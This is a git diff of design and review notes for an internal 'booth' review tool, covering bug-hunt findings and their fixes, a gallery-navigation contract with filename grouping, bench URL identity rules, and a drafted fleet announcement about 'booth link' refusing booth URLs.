| **F, G** | INV-5's render test covered 5 of 6 cases and asserted only status 200; INV-2's URL table never ran through the dead-marker render. | 4/4, 3/4 | **Both fixed** — the render test now covers oversized, unreadable and FIFO and asserts the error is *visible*; the full table runs through the marker. |
|
||||
|
||||
**Also folded from the per-invariant vacuity pass** (the arms' "what would still
|
||||
pass" section, which is the single most useful thing the panel produced):
|
||||
INV-6 had no vector asserting a non-default port is part of the identity, so
|
||||
"always omit the port" passed every row; INV-3 asserted only that `links/` was
|
||||
absent, so a refusal touching any other sidecar passed; INV-8's hashed sequence
|
||||
omitted `bench ls`; INV-9's AST walk is defeated by `__import__("booth.links")`.
|
||||
All four closed.
|
||||
|
||||
**Declined:** nothing. **Amended rather than fixed:** E, `updated`'s meaning,
|
||||
INV-8's file list, the `registered`/`created` wording, and every line number in
|
||||
this document's prose — the panel found two already stale, which is the whole
|
||||
argument against putting them in prose at all.
|
||||
|
||||
## Bug hunt — what the cold panel found
|
||||
|
||||
`/heid-bug-hunt` panel `01M35CRRK2RTVWWF1BN09AFQG3`, four arms, diff-scoped
|
||||
against `91fd8bc`. The most severe of the three rounds, and **three of its four
|
||||
convergent findings were already closed by our own adversarial pass before the
|
||||
reply landed** — which is the complementarity the skill claims, measured in both
|
||||
directions on one diff.
|
||||
|
||||
| finding | arms | state when the reply landed |
|
||||
|---|---|---|
|
||||
| **A single malformed board row blanks the ENTIRE 221-row board.** `%00` in a booth name decodes to an embedded NUL; `Path.is_dir()` raises **ValueError**, not `OSError`; `_board_rows`' blanket handler returns `[]`. Every row vanishes, the page still 200s, nothing says why. | 4/4 | **Already fixed** (control-character guard). |
|
||||
| **`RecursionError` escapes `read_benches` and 500s the board page.** ~4 KB of nested brackets, well under the byte cap. **Three arms independently cited the precedent: this repo already paid for this exact class in `marks.py`** — the new module re-introduced the unguarded parse. | 4/4 | **Already fixed.** |
|
||||
| **A FIFO still blocks the render path** while the code comment claims the hang lesson was applied. | 4/4 | **Already fixed** — and the comment that lied about it was the thing that made us look. |
|
||||
| **IPv6 bracket loss.** Second independent sighting, same root. | 4/4 | **Already fixed** by the code-review round. |
|
||||
| **The benches panel is nested inside `<span class="sub">`.** A `<div>` in a `<span>`: the parser closes the span implicitly and hoists the div out, orphaning the rest of the sub-line. Nothing 500s, which is why no test could see it. | 3/4 | **OPEN — fixed now.** Moved to block level; pinned by an offset assertion and verified with a real HTML parser (0 block-in-span violations). |
|
||||
| **`_booth_exists` and `resolve_booth` disagree on a symlink.** The marker called a booth pointing outside the data root alive while the page 404s it — the row renders healthy and the link is dead. | 3/4 | **OPEN — fixed now.** Same containment, same rules. |
|
||||
| **The board append opens its fd OUTSIDE the lock.** `flock LOCK printf … >> board` reads as locked and is not: the shell opens the append fd while parsing. A concurrent `unlink` replaces the inode via `os.replace`, the old fd keeps pointing at the unlinked one, and the append **succeeds, reports success, and vanishes.** | solo | **OPEN — fixed now.** Pre-existing, not this unit's, but it is silent data loss in the file this unit lives in. Proved by holding the lock and asserting nothing is written. |
|
||||
| **A pre-planted symlink at the predictable `.benches.json.tmp.<pid>`** defeats the atomic write. The replace is atomic, not safe. | solo | **OPEN — fixed now.** `mkstemp` (O_EXCL, same directory), plus an `fsync` before the replace, because `os.replace` orders the rename and not the data behind it. |
|
||||
| A successful registration can cross the read cap and poison the registry; an empty board hides the panel. | solo | **Already fixed** by the contract round. |
|
||||
|
||||
**Declined, with the reasoning recorded.** Kimi: the `python3 -c` guard under
|
||||
`set -e` means that on a host where `booth.links` is not importable, `booth
|
||||
link` now refuses **every** URL, not just booth ones — the refusal mechanism
|
||||
refuses everything, while the sibling `announce` call degrades gracefully.
|
||||
**True, and kept as-is deliberately.** A guard that fails open is not a guard,
|
||||
and the state it describes (the package unreachable from the script that
|
||||
computes its path from its own location) is a broken install in which `booth
|
||||
new`, `booth add` and `booth ask` are equally broken. Loud failure with a
|
||||
message naming what is missing beats silent non-enforcement. Recorded rather
|
||||
than silently dismissed, because the asymmetry with `announce` is real.
|
||||
|
||||
**What the round says about the method.** The two lenses were complementary in
|
||||
both directions on one diff: the cold panel found three live defects the
|
||||
in-session pass missed (all three invisible to a test — a layout nesting, a
|
||||
symlink disagreement, a lock-ordering race), and the in-session pass had already
|
||||
closed three of the panel's four convergent findings. Neither substitutes for
|
||||
the other. The sharpest single line in the reply is the one noting this repo had
|
||||
already paid for the `RecursionError` class in `marks.py` — **a new module
|
||||
re-introduced a bug the codebase had a test for**, which no amount of
|
||||
reading the new module in isolation would surface.
|
||||
@@ -0,0 +1,226 @@
|
||||
---
|
||||
contract_version: "0.1-PROPOSED"
|
||||
status: "LANDED 2026-09-22, all four components. The operator ratified the scope departure (drop subfolder sections, add filename-prefix groups) and settled the `unanswered` open question in favour of the shipped reading. Rail, filters and grid keyboard landed at a306e2d; the groups landed in the commit carrying this revision, which also DELETED tests/test_navigation.py::test_no_group_rail_is_shipped_yet — the guard that held the departure back while the ruling was outstanding. ⚠ TWO THINGS IN THIS CONTRACT CHANGED AT IMPLEMENTATION, both measured rather than preferred: the grouping RULE (see Signatures) and INV-3, which guarded one degeneracy and needed to guard two. The original text of both is kept below, struck, because the reasoning is the useful part."
|
||||
module: "booth.items + booth.app (gallery navigation)"
|
||||
purpose: "The last unit before the 1.0 cut. A gallery booth renders as one flat wall with no way to filter it, no way to move through it from the keyboard, and no grouping — so a review of sixty-odd renders is a scroll-and-squint. ROADMAP names four components: sections, a sticky rail, filters, grid keyboard. THE MEASUREMENT KILLS THE FIRST AND REPLACES IT: not one of the eleven live gallery booths has a subdirectory, so sections buy nothing, while a filename-prefix heuristic yields 5-16 sensible groups on four of the five large galleries. This unit ships the rail, the filters, the grid keyboard, and GROUPS DERIVED FROM FILENAMES rather than from a directory tree that does not exist."
|
||||
depends_on:
|
||||
- "booth.items.booth_items (INV-1: one resolver for item facts. `Item` gains ONE field, `group`, derived here and nowhere else. No route body derives it, exactly as no route body derives `section`, `caption` or `blurred`.)"
|
||||
- "booth.items.Item.section (ALREADY EXISTS from U1 and STAYS. This unit does not delete it and does not render a rail from it — those are different questions. A booth that does have subdirectories keeps its section values; nothing regresses.)"
|
||||
- "booth.app.build_gallery (the thin adapter over `booth_items`; it shapes items for the template and is where `group` reaches the page)"
|
||||
- "booth.app.image_chain (the zoom prev/next ring. UNCHANGED, and named here because it was CHECKED: the ring is the item order filtered to images, and grouping must not reorder it -- a filter that changed what `next` means would misfile the operator's judgment, which is CLAUDE.md invariant 6's whole reason for existing.)"
|
||||
language: "python + jinja + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 300
|
||||
confidence: 0.6
|
||||
used_by:
|
||||
- "booth.app.booth_view (the gallery page gains a rail and a filter state; the grid gains keyboard focus)"
|
||||
touches:
|
||||
- "booth/items.py (the `group` field and its derivation)"
|
||||
- "booth/app.py (build_gallery carries `group`; booth_view passes group counts)"
|
||||
- "booth/templates/booth.html (the rail, the filter controls, the grid's focus affordances)"
|
||||
- "booth/templates/base.html (rail + focus CSS)"
|
||||
- "booth/static/embed.js (NOT TOUCHED — named because it was checked; the verbatim path has no grid)"
|
||||
- "tests/test_items.py (group derivation)"
|
||||
- "tests/test_navigation.py (new — rail, filters, keyboard)"
|
||||
- "ROADMAP.md (the deterministic-order table gains the group row; U7's row is rewritten)"
|
||||
assumptions:
|
||||
- "THE SCOPE DEPARTURE WAS RATIFIED BY THE OPERATOR 2026-09-22. ROADMAP's U7 row said `sections, rail, filters, grid keyboard`; this contract drops sections and adds filename groups. The evidence is in `persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md`: zero of eleven gallery booths have a subdirectory, the only two booths that do are reports, and `pewpew-ui-brief`'s seven subdirectories hold one image between them."
|
||||
- "THE GROUP HEURISTIC DEGENERATES IN TWO DIRECTIONS, NOT ONE, AND THIS CONTRACT ORIGINALLY SAW ONLY THE FIRST. (a) ONE GROUP FOR EVERYTHING -- live specimen `sc-iso-spread`, `DSC0001.jpg` through `DSC0006.jpg`. (b) ONE GROUP PER ITEM -- live specimens `pewpew-ui-brief` at 23 groups for 34 items and `dfa-concepts` at 13 for 20. Both render as NO rail, because a navigation affordance that cannot navigate is worse than none: it occupies the space where the real one would be. Degeneracy (b) is the one the shipped rule actually meets on the live set, and the contract as first written would have shipped it everywhere."
|
||||
- "GROUPING IS A VIEW, NEVER A REORDERING. The item order stays `sorted(rel)` (U1 INV-3) and the zoom ring stays that order filtered to images. Grouping and filtering change what is SHOWN and never the sequence -- so `the third one` means the same thing with a filter on as with it off, and a flag lands where the operator thinks it does. This is the whole of CLAUDE.md invariant 6 applied to a surface that did not exist when it was written."
|
||||
- "THE PAGE WORKS WITH NO JAVASCRIPT. Filters are links with a query parameter, resolved server-side; the rail is anchors. Keyboard is the one genuinely JS-only affordance and it is additive -- the page is fully usable without it. U3 cost the verbatim path its no-JS operation and said so plainly; this unit must not quietly do the same to the gallery, which is the surface the operator actually reviews on."
|
||||
- "VIRTUALIZATION STAYS PARKED. The largest gallery is 66 images. ROADMAP parks progressive loading with `measure the real booth before optimising it`; at this size a lazy grid is almost certainly fine, and inventing the work is the failure the parking lot exists to prevent."
|
||||
open_questions:
|
||||
- "WHETHER THE GROUP HEURISTIC SHOULD BE OVERRIDABLE. A booth could carry a `.groups` dotfile naming its own grouping, the way `.blurred` names blur. Not designed here: no live booth wants it, the heuristic is right on four of five, and adding an override before anyone has been failed by the default is speculative. Parked, not solved."
|
||||
- "RESOLVED 2026-09-22 — `unanswered` means `has an open pick`, the U4 hold predicate, which is what shipped. The `has no mark at all` reading is a genuinely different question and is PARKED for v1.1 rather than pending."
|
||||
---
|
||||
|
||||
# U7 — navigation at the size the booths actually are
|
||||
|
||||
**LANDED — all four components.**
|
||||
|
||||
| component | ROADMAP says | state |
|
||||
|---|---|---|
|
||||
| sticky rail | ratified | **landed** — totals + per-filter counts, links not scripts |
|
||||
| filters | ratified | **landed** — all / flagged / annotated / unanswered |
|
||||
| grid keyboard | ratified | **landed** — `←/→ f n Enter Esc`, bound only when a grid exists |
|
||||
| **sections → filename groups** | **departs from it** | **landed** — ratified by the operator 2026-09-22. `test_no_group_rail_is_shipped_yet`, the guard that held it back, was deleted in the same commit that built it. |
|
||||
|
||||
`unanswered` means **has an open pick** — the U4 hold predicate. **Settled by
|
||||
the operator 2026-09-22**; the "has no mark at all" reading is a different
|
||||
question and is parked, not pending.
|
||||
|
||||
## The defect, re-measured rather than inherited
|
||||
|
||||
ROADMAP sizes this unit for 270 items. **The largest gallery is now 81 items
|
||||
and 40 images.** The four booths it was written against were swept on
|
||||
2026-09-22 and the set churned again during that session. The defect is real
|
||||
and the sizing is not:
|
||||
|
||||
| | ROADMAP's premise | measured 2026-09-22 |
|
||||
|---|---|---|
|
||||
| largest gallery | 270 images, one flat wall | **`sindra-bakeoff`, 40 images** |
|
||||
| galleries with subdirectories | "sections come from subfolders, which already exist" | **0 of 11** |
|
||||
| booths with subdirectories at all | — | 2, and **both are reports** |
|
||||
| grouping signal that does exist | — | **the filename prefix** |
|
||||
|
||||
## Sections are dead. The prefix is not.
|
||||
|
||||
⚠ **THE TABLE BELOW IS THE RE-MEASUREMENT, AND IT DISAGREES WITH THE ONE THIS
|
||||
CONTRACT WAS WRITTEN ON.** The original claimed the rule `strip ONE trailing
|
||||
run of digits` produced **5** groups on `sindra-bakeoff` and **1** on `sindra`.
|
||||
Neither reproduces: that rule gives **24** and **27**. The original table's own
|
||||
worked example says so out loud — it notes `00-sheet-c1-market-noon.png` has no
|
||||
trailing digit run and therefore groups as its whole stem, which makes eight of
|
||||
bakeoff's forty images eight singleton groups. **The numbers 5 and 1 are
|
||||
reproducible only by two OTHER rules** (first-two-segments gives exactly 5 on
|
||||
bakeoff; first-segment gives exactly 1 on sindra), so the table that justified
|
||||
this design was assembled from more than one heuristic. Caught by implementing
|
||||
the stated rule and running it against the live set rather than trusting the
|
||||
table beside it.
|
||||
|
||||
**The shipped rule** — first separator-delimited segment, destemmed only when
|
||||
the stem has no separator — measured against all 17 live booths, 2026-09-22.
|
||||
`G` is groups, `med` the middle group's size, `sing` the singleton groups:
|
||||
|
||||
| booth | items | G | med | sing | rail? |
|
||||
|---|---|---|---|---|---|
|
||||
| `sindra-corpus-v1` | 66 | 11 | 5 | 4 | **yes** — `ac 12 · bu 10 · cu 12 · fb 12 · … · wu 8` |
|
||||
| `sindra-sfw-pool` | 59 | 6 | 11 | 0 | **yes** |
|
||||
| `sindra-nude-pool` | 42 | 9 | 4 | 1 | **yes** |
|
||||
| `sindra-bakeoff` | 41 | 4 | 12 | 1 | **yes** — `00 · README · m · r`, the three real families |
|
||||
| `sindra` | 31 | 2 | 15 | 1 | **yes** |
|
||||
| `muse-clothed-repro` | 7 | 3 | 2 | 1 | **yes** — `v30`/`v35`, the axis that booth is about |
|
||||
| `pewpew-ui-brief` | 34 | 23 | 1 | 19 | no — **degeneracy (b)** |
|
||||
| `dfa-concepts` | 20 | 13 | 1 | 8 | no — **degeneracy (b)** |
|
||||
| `cr123a-to-d-sleeve` | 7 | 6 | 1 | 5 | no — degeneracy (b) |
|
||||
| `sc-iso-spread` | 6 | 1 | 6 | 0 | no — **degeneracy (a)**, `DSC0001`–`DSC0006` |
|
||||
| `music3-songs`, `krea2-lora-portability` | 3 | 1 | 3 | 0 | no — degeneracy (a) |
|
||||
| `miranda-is`, `sindra-voice-1` | 47 / 10 | 10 / 6 | 2 / 2 | 3 / 2 | **no grid at all** — both carry `index.html` and take the verbatim path |
|
||||
|
||||
**Why the rule changed.** `strip ONE trailing run of digits` keys on the END of
|
||||
the stem, which is where the *instance number* lives — so it separates
|
||||
`m-c1-market-noon-9401` from `m-c2-rain-street-9403`, which are the same family.
|
||||
The shipped rule keys on the START, which is where the *family* lives. The
|
||||
competing heuristics measured and rejected: split-on-second-hyphen (59 groups
|
||||
from 59 files), and destemming the first segment unconditionally (merges `v30`
|
||||
with `v35`).
|
||||
|
||||
**The honest cost.** Destemming a flat stem is what makes `ac01.png` → `ac`
|
||||
work, and it is exactly what would merge `v30` with `v35` if applied to a
|
||||
segmented name. The rule therefore has a conditional in it, which is one more
|
||||
thing than "take the first segment" — paid because `sindra-corpus-v1`, the
|
||||
largest gallery, is entirely flat names.
|
||||
|
||||
## What ships
|
||||
|
||||
1. **`Item.group`** — derived once, in the resolver, beside `section`.
|
||||
2. **A sticky rail** — total, per-group counts, per-filter counts, jump-to-group
|
||||
anchors. **Absent entirely when there is one group or fewer.**
|
||||
3. **Filters** — all / flagged / annotated / unanswered, as server-resolved
|
||||
query parameters so they work with JS off.
|
||||
4. **Grid keyboard** — `←/→` move focus, `f` flags, `n` opens a note, `Enter`
|
||||
zooms, `Esc` clears focus. Additive; the page is complete without it.
|
||||
|
||||
## Signatures
|
||||
|
||||
```python
|
||||
def _group_of(rel: str) -> str | None:
|
||||
"""The grouping key for an item, or None when it has none.
|
||||
|
||||
THE RULE, in one line: the first separator-delimited segment of the
|
||||
basename's stem -- with a trailing digit run stripped only when the stem has
|
||||
no separator at all.
|
||||
|
||||
00-sheet-c1-market-noon.png -> 00
|
||||
m-c1-market-noon-9401.png -> m
|
||||
flag-rear.png -> flag
|
||||
ac01.png -> ac (no separator: the digits ARE it)
|
||||
DSC0001.jpg -> DSC
|
||||
v30-seed8302.png -> v30 (separator present, so v30 != v35)
|
||||
01.png -> None (nothing before the digits)
|
||||
|
||||
Derived HERE and nowhere else (INV-1).
|
||||
"""
|
||||
```
|
||||
|
||||
~~**SUPERSEDED — the rule this contract was written with.**~~ *"take the stem of
|
||||
the basename, strip ONE trailing run of digits and any single separator before
|
||||
it. `ac01.png` → `ac`; `00-sheet-c1-market-noon.png` → `00-sheet-c1-market-noon`
|
||||
(no trailing digit run, so the whole stem); `flag-rear.png` → `flag-rear`."*
|
||||
Kept struck rather than deleted: it is the rule the measurement table above was
|
||||
supposed to describe, and the mismatch between the two is the thing worth
|
||||
remembering. It keys on the end of the stem, where the instance number lives,
|
||||
and so splits families rather than gathering them.
|
||||
|
||||
## Ordering — the rule, because invariant 6 binds
|
||||
|
||||
| collection | rule |
|
||||
|---|---|
|
||||
| items | **unchanged** — `sorted(rel)` (U1 INV-3) |
|
||||
| the zoom ring | **unchanged** — item order filtered to images |
|
||||
| **groups among themselves** | **the position of each group's FIRST member in the RENDERED sequence** — which is `sorted(rel)` narrowed by the filter and never re-sorted. So the rail reads in the same direction the grid does, and adding a file never reshuffles the rail unless it lands first in its group. Implemented by walking `shown` once into an insertion-ordered `dict`: the walk IS the rule, so there is no second sort to drift from it. |
|
||||
| items within a group | **unchanged** — they are a filtered view of `sorted(rel)`, never re-sorted |
|
||||
| the filtered grid | **unchanged** — `sorted(rel)` with non-matching items hidden |
|
||||
|
||||
This closes ROADMAP's outstanding U7 order question. Compare pairing is not
|
||||
this unit's problem — compare mode is parked to v1.1 with the pairing rule.
|
||||
|
||||
## Invariants
|
||||
|
||||
**INV-1 — one resolver derives the group.** `_group_of` is called only from
|
||||
`booth_items`. *Falsifiable:* the defeating change is a route or template
|
||||
computing a prefix inline. The test asserts no call to `_group_of` survives
|
||||
inside `create_app` — the same assertion U1 makes for `classify` and
|
||||
`render_doc`, which is why it is the shape used here.
|
||||
|
||||
**INV-2 — grouping and filtering never reorder.** *Falsifiable:* the defeating
|
||||
change is sorting by `(group, rel)` to make the grid render contiguously, which
|
||||
looks right and silently changes what "the third one" means. The test renders a
|
||||
booth whose groups interleave in `sorted(rel)` order and asserts the rendered
|
||||
item sequence is **byte-identical** with grouping on and off, and that
|
||||
`image_chain` is unchanged under every filter.
|
||||
|
||||
**INV-3 — a rail that cannot navigate does not render, in EITHER direction of
|
||||
degeneracy.** The rail is absent unless grouping is informative: **two or more
|
||||
groups, and the middle group holding more than one item.**
|
||||
|
||||
- **(a) one group for everything.** Live specimen `sc-iso-spread`:
|
||||
`DSC0001.jpg`–`DSC0006.jpg`, one group, six images. A rail with a single row
|
||||
cannot navigate.
|
||||
- **(b) one group per item.** Live specimens `pewpew-ui-brief` (23 groups for
|
||||
34 items) and `dfa-concepts` (13 for 20). A rail with a row per tile is a
|
||||
second copy of the grid.
|
||||
|
||||
*Falsifiable:* two defeating changes, each with its own test. `{% if
|
||||
rail.groups %}` in the template is true for a single group and true for N
|
||||
singletons — so the decision lives in Python, where it can be measured, and the
|
||||
template guard is the whole of it. Dropping the `>= 2` term reds
|
||||
`test_no_group_rail_when_there_is_only_one_group`; dropping the median term
|
||||
reds `test_no_group_rail_when_every_item_is_its_own_group`. Both mutations were
|
||||
RUN.
|
||||
|
||||
~~**SUPERSEDED — INV-3 as first written.**~~ *"one group renders NO rail …the
|
||||
test uses the real `sindra`-shaped fixture (thirty files, one prefix)."* Two
|
||||
things wrong with it, and the second is why this is kept: the `sindra` fixture
|
||||
does not exist (that booth yields 27 groups under the rule stated beside it,
|
||||
and 2 under the shipped one — `sc-iso-spread` is the real specimen), and it
|
||||
guarded only degeneracy (a) when (b) is the one the live set actually
|
||||
exhibits. A contract that had shipped as written would have put a 23-row rail
|
||||
on `pewpew-ui-brief`.
|
||||
|
||||
**INV-4 — a filter is a link, not a script.** *Falsifiable:* the defeating
|
||||
change is binding filters to a click handler. The test fetches the filtered URL
|
||||
directly and asserts the server returned the filtered grid, with no JS executed.
|
||||
|
||||
**INV-5 — the keyboard never fires on a booth with no grid.** *Falsifiable:*
|
||||
the defeating change is binding the handler unconditionally, so `f` on the
|
||||
standing link board flags nothing and swallows the keystroke. The test asserts
|
||||
the handler is not bound when `items` is empty.
|
||||
|
||||
## Out of scope
|
||||
|
||||
- **Sections as a rail.** Measured worthless; `Item.section` is untouched.
|
||||
- **Compare mode.** Parked to v1.1 with its pairing rule.
|
||||
- **Virtualized loading.** Parked; measure first.
|
||||
- **A `.groups` override file.** See open questions.
|
||||
- **Anything on the verbatim path.** It has no grid.
|
||||
@@ -162,6 +162,7 @@ session that posted the set.
|
||||
```
|
||||
BENCH
|
||||
id : normalized URL (the identity — re-posting UPDATES, never appends)
|
||||
NORMALIZED MEANS THE FULL URL, NOT THE ORIGIN — see below
|
||||
name : what it is
|
||||
owner : the agent handle that registered it
|
||||
state : live → promoted (to Homepage) → retired
|
||||
@@ -173,8 +174,51 @@ BENCH
|
||||
- `booth bench add <url> "<what>"` upserts on the normalized URL. The 5 `talk`
|
||||
rows and 4 `peedlar` rows collapse to one each, by construction.
|
||||
- **`booth link` refuses a `…:8090/b/…` URL** and names the right surface. It
|
||||
survives as a deprecated alias rather than vanishing — 17 handles have the
|
||||
muscle memory, and the teaching moment belongs at the point of use.
|
||||
is **not deprecated** — 17 handles have the muscle memory, the teaching moment
|
||||
belongs at the point of use, and (corrected 2026-09-22, U6) the board has a
|
||||
legitimate residual job: of the 35 distinct non-booth targets on it, roughly
|
||||
**14 are reference bookmarks** — gitea repositories, HuggingFace model cards,
|
||||
a vLLM recipe, a Headscale setup page — for which the board is the right and
|
||||
only home. Deprecating it would evict a third of its live content. It loses
|
||||
exactly one shape, the booth URL, and keeps the rest.
|
||||
|
||||
### What "normalized URL" means, and why it is not the origin
|
||||
|
||||
Corrected 2026-09-22 while U6 was being contracted. This doc said *normalized
|
||||
URL* and left it there; the obvious reading is the origin
|
||||
(`scheme://host:port`), and that reading is **measurably destructive**.
|
||||
|
||||
Collapsing the board's 43 non-booth rows by origin yields 19 groups; by full
|
||||
URL, 35. The 16-group difference is not duplication:
|
||||
|
||||
| what origin identity would merge | rows |
|
||||
|---|---|
|
||||
| eight distinct gitea repositories, issues and package versions | 8 → 1 |
|
||||
| three unrelated HuggingFace model cards | 3 → 1 |
|
||||
| **the two LRPG surfaces on `10.100.10.50:8321`** — this doc's own example of two real benches | 2 → 1 |
|
||||
| two different claude.ai artifact briefs | 2 → 1 |
|
||||
|
||||
Full-URL identity still collapses both cases this doc names — `talk` 5 rows to
|
||||
1, Peedlar's root 3 to 1 — which is the entire win, without the losses.
|
||||
|
||||
The **query string is part of the identity** and the **fragment is not**: three
|
||||
ShutterChute rows differ only by `?token=` and are three genuinely different
|
||||
one-shot links, while a fragment is a position inside a page. Credentials in a
|
||||
URL are **refused rather than stripped** — stripping registers a bench whose URL
|
||||
no longer works while telling the poster it succeeded.
|
||||
|
||||
### One number that was two defects
|
||||
|
||||
This doc's headline **69% rot** is two different defects wearing one number, and
|
||||
U5 already closed the cause of the larger one:
|
||||
|
||||
| defect | rows (2026-09-22) | what fixes it |
|
||||
|---|---|---|
|
||||
| **booth-announcement rot** — a session posts a booth URL because a booth cannot announce itself | 178 rows, 156 already dead | **U5** gave job 5 a home; U6's refusal stops the habit; U6's dead marker clears what landed |
|
||||
| **bench re-post** — an append log with no identity | 8 rows | U6's registry |
|
||||
|
||||
Worth stating plainly because the single figure implies the registry is the big
|
||||
half. It is the smaller one.
|
||||
- Liveness is *flagged*, not enforced. A bench that stops answering gets a
|
||||
marker and a date; deleting is the operator's call. Nothing here deletes the
|
||||
operator's data on a timer.
|
||||
@@ -206,21 +250,41 @@ a real DOM API. Marks land at `data-booth-mark="<id>"` anchors, which keeps the
|
||||
page*. If the line is absent, the Booth injects it at **one** insertion point, so
|
||||
every existing verbatim booth keeps working untouched.
|
||||
|
||||
**What this deletes**, and this is the whole point of the decision:
|
||||
**What this deleted** — landed as U3, 2026-09-22:
|
||||
|
||||
- `booth/inline.py` — 114 lines of placeholder DSL, entirely
|
||||
- `booth/inline.py` — 119 lines of placeholder DSL, entirely. One line survived:
|
||||
`form_id`, which builds the shared `<form>` id scattered question groups bind
|
||||
to, and which moved to `app.py` beside the route that renders them.
|
||||
- `wrap_verbatim_html` and its six regexes against arbitrary HTML
|
||||
(`_HEAD_CLOSE_RE`, `_HTML_OPEN_RE`, `_DOCTYPE_RE`, `_BODY_CLOSE_RE`,
|
||||
`_HTML_CLOSE_RE`, `_ICON_RE`) and the doctype/charset-ordering constraints
|
||||
they are threading
|
||||
- `_BACK_CHIP`, `asks_chip` — two floating chips positioned by guessed offsets
|
||||
- `GET /b/<name>/asks` — the standalone page that existed only because a verbatim
|
||||
booth could not show its own asks
|
||||
`_HTML_CLOSE_RE`, `_ICON_RE`) **and both of the constraints they were
|
||||
threading.** Not satisfied more carefully — gone: nothing can displace a
|
||||
leading doctype into quirks mode and nothing can push the charset `<meta>`
|
||||
out of its detection window, because the Booth only ever APPENDS now.
|
||||
- `_BACK_CHIP`, `asks_chip` — two floating chips positioned by guessed offsets.
|
||||
embed.js builds both in the DOM.
|
||||
- the `styles()` macro. The scoped `.bk-ask-*` rules live in embed.js next to
|
||||
the code that mounts them, emitted once by construction instead of by a
|
||||
seen-set.
|
||||
- `GET /b/<name>/asks` was already a 308 into `/marks` by U2; this unit left it
|
||||
there. The standalone page it named is gone, but the URL is in the operator's
|
||||
history and in landed reports, and a dead link teaches nothing.
|
||||
|
||||
Regex-injecting into arbitrary author HTML is the single most fragile thing in
|
||||
the service, and it is load-bearing for the operator's most important workflow.
|
||||
**What replaced them is a substring test and a `+`.** `if EMBED_SRC not in
|
||||
html: html += EMBED_SCRIPT_TAG`. A page that declares the line is served with
|
||||
nothing added to it at all.
|
||||
|
||||
Regex-injecting into arbitrary author HTML was the single most fragile thing in
|
||||
the service, and it was load-bearing for the operator's most important workflow.
|
||||
A declared seam costs the author one line and removes the whole class.
|
||||
|
||||
**What it cost, stated because it is real.** The verbatim path used to work with
|
||||
no JavaScript: an ask rendered server-side and submitted through a plain form.
|
||||
It now needs the script. The guarantee that an ask is never invisible survives
|
||||
in a weaker and still-true form through surfaces that need no script — the index
|
||||
card's open-mark badge, and `/b/<name>/marks`, which renders every mark
|
||||
server-side.
|
||||
|
||||
---
|
||||
|
||||
# Navigation
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
# PENDING — fleet note to the 17 consuming handles
|
||||
|
||||
**Status: DRAFTED, NOT SENT.** Blocked by the auto-mode classifier on
|
||||
2026-09-22 because it is a multi-recipient send, which CLAUDE.md gates on
|
||||
explicit operator approval. The operator's blanket "accept all recs" was
|
||||
read as ratifying the note's CONTENT, not as the specific broadcast
|
||||
approval that rule requires — and the classifier agreed. Not worked around.
|
||||
|
||||
**To send it:** the operator says go, or adds a Bash permission rule for
|
||||
`postbox send`. Recipients (17, from the live board's provenance):
|
||||
|
||||
hamr-dev tts-dev nh3-dev shutter-dev infra-ops comfy-dev ldp-dev
|
||||
design-dev pewpew-dev peedlar-dev brokkr-smithy-dev draupnir
|
||||
bifrost-dev yt-voice-clipper-dev svos-dev jackdaw-dev brokkr-scan-dev
|
||||
|
||||
Subject: `booth: \`booth link\` now refuses a booth URL — use \`booth new --why\` instead`
|
||||
|
||||
---
|
||||
|
||||
ONE CHANGE THAT AFFECTS YOU, and it is a refusal you would otherwise hit
|
||||
without knowing why.
|
||||
|
||||
`booth link` now REFUSES a booth URL.
|
||||
|
||||
$ booth link http://10.100.10.50:8090/b/my-run/ "the renders"
|
||||
booth link: that is a booth, and a booth announces itself now.
|
||||
booth new my-run --why "the renders"
|
||||
the index at http://10.100.10.50:8090/ is the feed.
|
||||
exit 2
|
||||
|
||||
WHY. A booth announces itself now — `booth new` and `booth add` write a
|
||||
`.booth.json` carrying your handle and a one-line `--why`, and the index
|
||||
renders it. Posting the URL to the board on top of that creates a row that
|
||||
rots the moment the booth is swept. Measured on the live board: 178 of its 221
|
||||
rows were booth URLs and 156 of those already pointed at nothing.
|
||||
|
||||
WHAT TO DO INSTEAD. Nothing extra — just use `--why`:
|
||||
|
||||
booth new my-run --why "8 renders, pick the two that hold at 4K"
|
||||
booth add my-run out/*.png --why "..."
|
||||
|
||||
The operator sees it on the index with your handle beside it.
|
||||
|
||||
WHAT IS UNCHANGED. `booth link` is NOT deprecated and keeps working for
|
||||
everything else — repos, model cards, docs, recipes, any durable reference.
|
||||
Roughly 14 of the board's 35 distinct non-booth links are exactly that and the
|
||||
board is still their home. Only the booth-URL shape is refused.
|
||||
|
||||
ALSO NEW, and optional: `booth bench add <url> <name>` registers a RUNNING
|
||||
SERVICE — your current bench, the thing that gets promoted to Homepage.
|
||||
Identity is the URL, so re-posting UPDATES the row instead of adding a fifth
|
||||
(`talk` was on the board five times). `booth bench ls` lists them.
|
||||
|
||||
a BOOTH is work to review. Announces itself, swept after 24h.
|
||||
a BENCH is a running thing. Registered, durable, upserted by URL.
|
||||
a LINK is a reference bookmark. The board, unchanged.
|
||||
|
||||
ONE MORE, since it is easy to miss: `booth link` also refuses a URL carrying
|
||||
credentials (`user:pass@host`). The board renders on an unauthenticated LAN
|
||||
surface.
|
||||
|
||||
Shipped in booth v0.6.0/v0.6.1, deployed and live. No action needed from you
|
||||
unless you have a script that posts booth URLs to the board — that will now
|
||||
exit 2 rather than silently adding a dead row.
|
||||
|
||||
-- booth-dev
|
||||
@@ -0,0 +1,218 @@
|
||||
{
|
||||
"booth": "booth-flow-concepts",
|
||||
"mark": {
|
||||
"id": "flow",
|
||||
"shape": "pick",
|
||||
"target": null,
|
||||
"created": "2026-09-23T07:18:16.254321-07:00",
|
||||
"declaration": {
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"questions": [
|
||||
{
|
||||
"key": "direction",
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"options": [
|
||||
{
|
||||
"id": "a_b",
|
||||
"label": "A + B's reel as the review mode",
|
||||
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
|
||||
},
|
||||
{
|
||||
"id": "a",
|
||||
"label": "A — The Desk alone",
|
||||
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"label": "B — The Reel",
|
||||
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
|
||||
},
|
||||
{
|
||||
"id": "c",
|
